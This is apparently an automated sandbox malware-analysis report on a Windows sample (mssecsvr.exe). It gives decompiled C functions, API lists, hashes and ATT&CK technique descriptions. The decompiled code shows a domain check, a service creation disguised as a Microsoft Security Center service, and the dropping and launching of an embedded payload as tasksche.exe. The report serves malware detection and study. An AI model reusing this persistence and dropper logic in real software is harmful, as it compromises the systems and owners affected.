				signed int _t38;
				int _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				intOrPtr _t61;

				_push(0xffffffff);
				_push(0x40a1a0);
				_push(0x409ba2);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t58;
				_v28 = _t58 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x70f894 =  *0x70f894 | 0xffffffff;
				 *0x70f898 =  *0x70f898 | 0xffffffff;
				 *(__p__fmode()) =  *0x70f88c;
				 *(__p__commode()) =  *0x70f888;
				 *0x70f890 = _adjust_fdiv;
				_t27 = E00409BA1( *_adjust_fdiv);
				_t61 =  *0x431410; // 0x1
				if(_t61 == 0) {
					__setusermatherr(E00409B9E);
				}
				E00409B8C(_t27);
				_push(0x40b010);
				_push(0x40b00c);
				L00409B86();
				_v112 =  *0x70f884;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x70f880,  &_v112);
				_push(0x40b008);
				_push(0x40b000); // executed
				L00409B86(); // executed
				_t55 =  *_acmdln;
				_v120 = _t55;
				if( *_t55 != 0x22) {
					while( *_t55 > 0x20) {
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				} else {
					do {
						_t55 = _t55 + 1;
						_v120 = _t55;
						_t42 =  *_t55;
					} while (_t42 != 0 && _t42 != 0x22);
					if( *_t55 == 0x22) {
						L6:
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				}
				_t36 =  *_t55;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_push(_t38);
				_push(_t55);
				_push(0);
				_push(GetModuleHandleA(0));
				_t40 = E00408140();
				_v108 = _t40;
				exit(_t40);
				_t41 = _v24;
				_t49 =  *((intOrPtr*)( *_t41));
				_v124 = _t49;
				_push(_t41);
				_push(_t49);
				L00409B80();
				return _t41;
			}

APIs

__set_app_type.MSVCRT ref: 00409A43
__p__fmode.MSVCRT ref: 00409A58
__p__commode.MSVCRT ref: 00409A66
__setusermatherr.MSVCRT ref: 00409A92
_initterm.MSVCRT ref: 00409AA8
__getmainargs.MSVCRT ref: 00409ACB
_initterm.MSVCRT ref: 00409ADB
GetStartupInfoA.KERNEL32(?), ref: 00409B1A
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00409B3E
exit.MSVCRT ref: 00409B4E
_XcptFilter.MSVCRT ref: 00409B60

Memory Dump Source

Source File: 00000007.00000002.962944435.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.962929941.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.962965634.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.962973945.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.962991047.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.963055151.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.963064015.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.963075984.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.963137238.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction ID: f220c78e044b43db95b39954543cb8470338bddc8e57b6bf74c51ec52977e19a
Opcode Fuzzy Hash: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction Fuzzy Hash: AF415E71800348EFDB24DFA4ED45AAA7BB8FB09720F20413BE451A72D2D7786841CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00408140 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E00408140() {
				char* _v1;
				char* _v3;
				char* _v7;
				char* _v11;
				char* _v15;
				char* _v19;
				char* _v23;
				void _v80;
				char _v100;
				char* _t12;
				void* _t13;
				void* _t27;

				_t12 = memcpy( &_v80, "http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com", 0xe << 2);
				asm("movsb");
				_v23 = _t12;
				_v19 = _t12;
				_v15 = _t12;
				_v11 = _t12;
				_v7 = _t12;
				_v3 = _t12;
				_v1 = _t12;
				_t13 = InternetOpenA(_t12, 1, _t12, _t12, _t12); // executed
				_t27 = _t13;
				InternetOpenUrlA(_t27,  &_v100, 0, 0, 0x84000000, 0); // executed
				InternetCloseHandle(_t27);
				InternetCloseHandle(0);
				E00408090();
				return 0;
			}

0x00408155
0x00408157
0x00408158
0x0040815c
0x00408160
0x00408164
0x00408168
0x0040816c
0x00408177
0x0040817b
0x0040818e
0x00408194
0x004081a7
0x004081ab
0x004081ad
0x004081b9

APIs

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040817B
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,84000000,00000000), ref: 00408194
InternetCloseHandle.WININET(00000000), ref: 004081A7
InternetCloseHandle.WININET(00000000), ref: 004081AB

Part of subcall function 00408090: GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
Part of subcall function 00408090: __p___argc.MSVCRT ref: 004080A5

Strings

http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com, xrefs: 0040814A

Memory Dump Source

Source File: 00000007.00000002.962944435.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.962929941.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.962965634.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.962973945.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.962991047.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.963055151.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.963064015.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.963075984.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.963137238.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileModuleName__p___argc
String ID: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com
API String ID: 774561529-2614457033
Opcode ID: 4b6db363f3c2a0039692f7716f941ccdaf41bdcfad687f466c5e8bce3354d2d7
Instruction ID: cdf7c9b464921ed547f6e9cf97b0948ff8b518ee0850ecae1f57fc3afa3cefd0
Opcode Fuzzy Hash: 4b6db363f3c2a0039692f7716f941ccdaf41bdcfad687f466c5e8bce3354d2d7
Instruction Fuzzy Hash: D20186719543106EE310DF348C05B6BBBE9EF85710F01082EF984F7280E6B59804876B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00407C40 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00407C40() {
				char _v260;
				void* _t15;
				void* _t17;

				sprintf( &_v260, "%s -m security", 0x70f760);
				_t15 = OpenSCManagerA(0, 0, 0xf003f);
				if(_t15 == 0) {
					return 0;
				} else {
					_t17 = CreateServiceA(_t15, "mssecsvc2.1", "Microsoft Security Center (2.1) Service", 0xf01ff, 0x10, 2, 1,  &_v260, 0, 0, 0, 0, 0);
					if(_t17 != 0) {
						StartServiceA(_t17, 0, 0);
						CloseServiceHandle(_t17);
					}
					CloseServiceHandle(_t15);
					return 0;
				}
			}

0x00407c56
0x00407c6e
0x00407c72
0x00407cd3
0x00407c74
0x00407ca7
0x00407cab
0x00407cb2
0x00407cb9
0x00407cb9
0x00407cbc
0x00407cc9
0x00407cc9

APIs

sprintf.MSVCRT ref: 00407C56
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00407C68
CreateServiceA.ADVAPI32(00000000,mssecsvc2.1,Microsoft Security Center (2.1) Service,000F01FF,00000010,00000002,00000001,?,00000000,00000000,00000000,00000000,00000000,6F75FB10,00000000), ref: 00407C9B
StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00407CB2
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CB9
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CBC

Strings

Microsoft Security Center (2.1) Service, xrefs: 00407C90
%s -m security, xrefs: 00407C50
mssecsvc2.1, xrefs: 00407C95

Memory Dump Source

Source File: 00000007.00000002.962944435.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.962929941.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.962965634.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.962973945.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.962991047.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.963055151.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.963064015.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.963075984.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.963137238.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$CreateManagerOpenStartsprintf
String ID: %s -m security$Microsoft Security Center (2.1) Service$mssecsvc2.1
API String ID: 3340711343-2450984573
Opcode ID: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction ID: 2288e5cc66680fabefb91112cf05624c6df81315eb9d87428618c258e2ee617f
Opcode Fuzzy Hash: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction Fuzzy Hash: AD01D1717C43043BF2305B149D8BFEB3658AB84F01F500025FB44B92D0DAF9A81491AF

Uniqueness

Uniqueness Score: -1.00%

Function 00407CE0 Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 175
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 36%

			E00407CE0() {
				void _v259;
				char _v260;
				void _v519;
				char _v520;
				char _v572;
				short _v592;
				intOrPtr _v596;
				void* _v608;
				void _v636;
				char _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				char _v656;
				intOrPtr _v692;
				intOrPtr _v700;
				_Unknown_base(*)()* _t36;
				void* _t38;
				void* _t39;
				intOrPtr _t64;
				struct HINSTANCE__* _t104;
				struct HRSRC__* _t105;
				void* _t107;
				void* _t108;
				long _t109;
				intOrPtr _t121;
				intOrPtr _t122;

				_t104 = GetModuleHandleW(L"kernel32.dll");
				if(_t104 != 0) {
					 *0x431478 = GetProcAddress(_t104, "CreateProcessA");
					 *0x431458 = GetProcAddress(_t104, "CreateFileA");
					 *0x431460 = GetProcAddress(_t104, "WriteFile");
					_t36 = GetProcAddress(_t104, "CloseHandle");
					_t64 =  *0x431478; // 0x0
					 *0x43144c = _t36;
					if(_t64 != 0) {
						_t121 =  *0x431458; // 0x0
						if(_t121 != 0) {
							_t122 =  *0x431460; // 0x0
							if(_t122 != 0 && _t36 != 0) {
								_t105 = FindResourceA(0, 0x727, "R");
								if(_t105 != 0) {
									_t38 = LoadResource(0, _t105);
									if(_t38 != 0) {
										_t39 = LockResource(_t38);
										_v608 = _t39;
										if(_t39 != 0) {
											_t109 = SizeofResource(0, _t105);
											if(_t109 != 0) {
												_v520 = 0;
												memset( &_v519, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												_v260 = 0;
												memset( &_v259, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												sprintf( &_v520, "C:\\%s\\%s", "WINDOWS", "tasksche.exe");
												sprintf( &_v260, "C:\\%s\\qeriuwjhrf", "WINDOWS");
												MoveFileExA( &_v520,  &_v260, 1);
												_t107 =  *0x431458( &_v520, 0x40000000, 0, 0, 2, 4, 0);
												if(_t107 != 0xffffffff) {
													 *0x431460(_t107, _v636, _t109,  &_v636, 0);
													 *0x43144c(_t107);
													_v652 = 0;
													_v648 = 0;
													_v644 = 0;
													memset( &_v636, 0, 0x10 << 2);
													asm("repne scasb");
													_v656 = 0;
													_t108 = " /i";
													asm("repne scasb");
													memcpy( &_v572 - 1, _t108, 0 << 2);
													_push( &_v656);
													memcpy(_t108 + 0x175b75a, _t108, 0);
													_push( &_v640);
													_push(0);
													_push(0);
													_push(0x8000000);
													_push(0);
													_push(0);
													_push(0);
													_push( &_v572);
													_push(0);
													_v640 = 0x44;
													_v592 = 0;
													_v596 = 0x81;
													if( *0x431478() != 0) {
														 *0x43144c(_v692);
														 *0x43144c(_v700);
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
				return 0;
			}

0x00407cf5
0x00407cfb
0x00407d15
0x00407d22
0x00407d2f
0x00407d34
0x00407d36
0x00407d3c
0x00407d43
0x00407d49
0x00407d4f
0x00407d55
0x00407d5b
0x00407d7a
0x00407d7e
0x00407d86
0x00407d8e
0x00407d95
0x00407d9d
0x00407da1
0x00407daf
0x00407db3
0x00407dc4
0x00407dc8
0x00407dca
0x00407dcc
0x00407ddb
0x00407de2
0x00407def
0x00407df1
0x00407e01
0x00407e18
0x00407e2c
0x00407e49
0x00407e4e
0x00407e61
0x00407e68
0x00407e72
0x00407e7a
0x00407e82
0x00407e8b
0x00407e95
0x00407e9b
0x00407e9f
0x00407ea8
0x00407eb0
0x00407ebb
0x00407ebc
0x00407ec6
0x00407ec7
0x00407ec8
0x00407ec9
0x00407ece
0x00407ecf
0x00407ed0
0x00407ed1
0x00407ed2
0x00407ed3
0x00407edb
0x00407ee0
0x00407ef0
0x00407ef7
0x00407f02
0x00407f02
0x00407ef0
0x00407e4e
0x00407db3
0x00407da1
0x00407d8e
0x00407d7e
0x00407d5b
0x00407d4f
0x00407d43
0x00407f14

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,00000000,6F75FB10,?,00000000), ref: 00407CEF
GetProcAddress.KERNEL32(00000000,CreateProcessA), ref: 00407D0D
GetProcAddress.KERNEL32(00000000,CreateFileA), ref: 00407D1A
GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00407D27
GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00407D34
FindResourceA.KERNEL32(00000000,00000727,0043137C), ref: 00407D74
LoadResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407D86
LockResource.KERNEL32(00000000,?,00000000), ref: 00407D95
SizeofResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407DA9
sprintf.MSVCRT ref: 00407E01
sprintf.MSVCRT ref: 00407E18
MoveFileExA.KERNEL32 ref: 00407E2C

Strings

C:\%s\%s, xrefs: 00407DFB
D, xrefs: 00407ED3
WINDOWS, xrefs: 00407DF2, 00407E0D
C:\%s\qeriuwjhrf, xrefs: 00407E12
WriteFile, xrefs: 00407D1C
CloseHandle, xrefs: 00407D29
tasksche.exe, xrefs: 00407DEA
kernel32.dll, xrefs: 00407CEA
CreateProcessA, xrefs: 00407D07
/i, xrefs: 00407E8D
CreateFileA, xrefs: 00407D0F

Memory Dump Source

Source File: 00000007.00000002.962944435.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.962929941.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.962965634.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.962973945.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.962991047.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.963055151.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.963064015.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.963075984.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.963137238.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: AddressProcResource$sprintf$FileFindHandleLoadLockModuleMoveSizeof
String ID: /i$C:\%s\%s$C:\%s\qeriuwjhrf$CloseHandle$CreateFileA$CreateProcessA$D$WINDOWS$WriteFile$kernel32.dll$tasksche.exe
API String ID: 4072214828-1507730452
Opcode ID: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction ID: 13a48b3e7e70fc1f7524b3ea2ca00aec236584d0bbebcf852995d03268f4a9c8
Opcode Fuzzy Hash: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction Fuzzy Hash: B15197715043496FE7109F74DC84AAB7B98EB88354F14493EF651A32E0DA7898088BAA

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 4Maoj78D1f

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\WINDOWS\qeriuwjhrf (copy)

C:\Windows\mssecsvr.exe

C:\Windows\tasksche.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Network Behavior

Windows Analysis Report
4Maoj78D1f

Function 00407CE0 Relevance: 50.9, APIs: 18, Strings: 11, Instructions: 175
libraryloaderfileCOMMON

Function 00409A16 Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Function 00408140 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46
networkCOMMON

Function 00407C40 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 54
serviceCOMMON

Function 00408090 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49
serviceCOMMON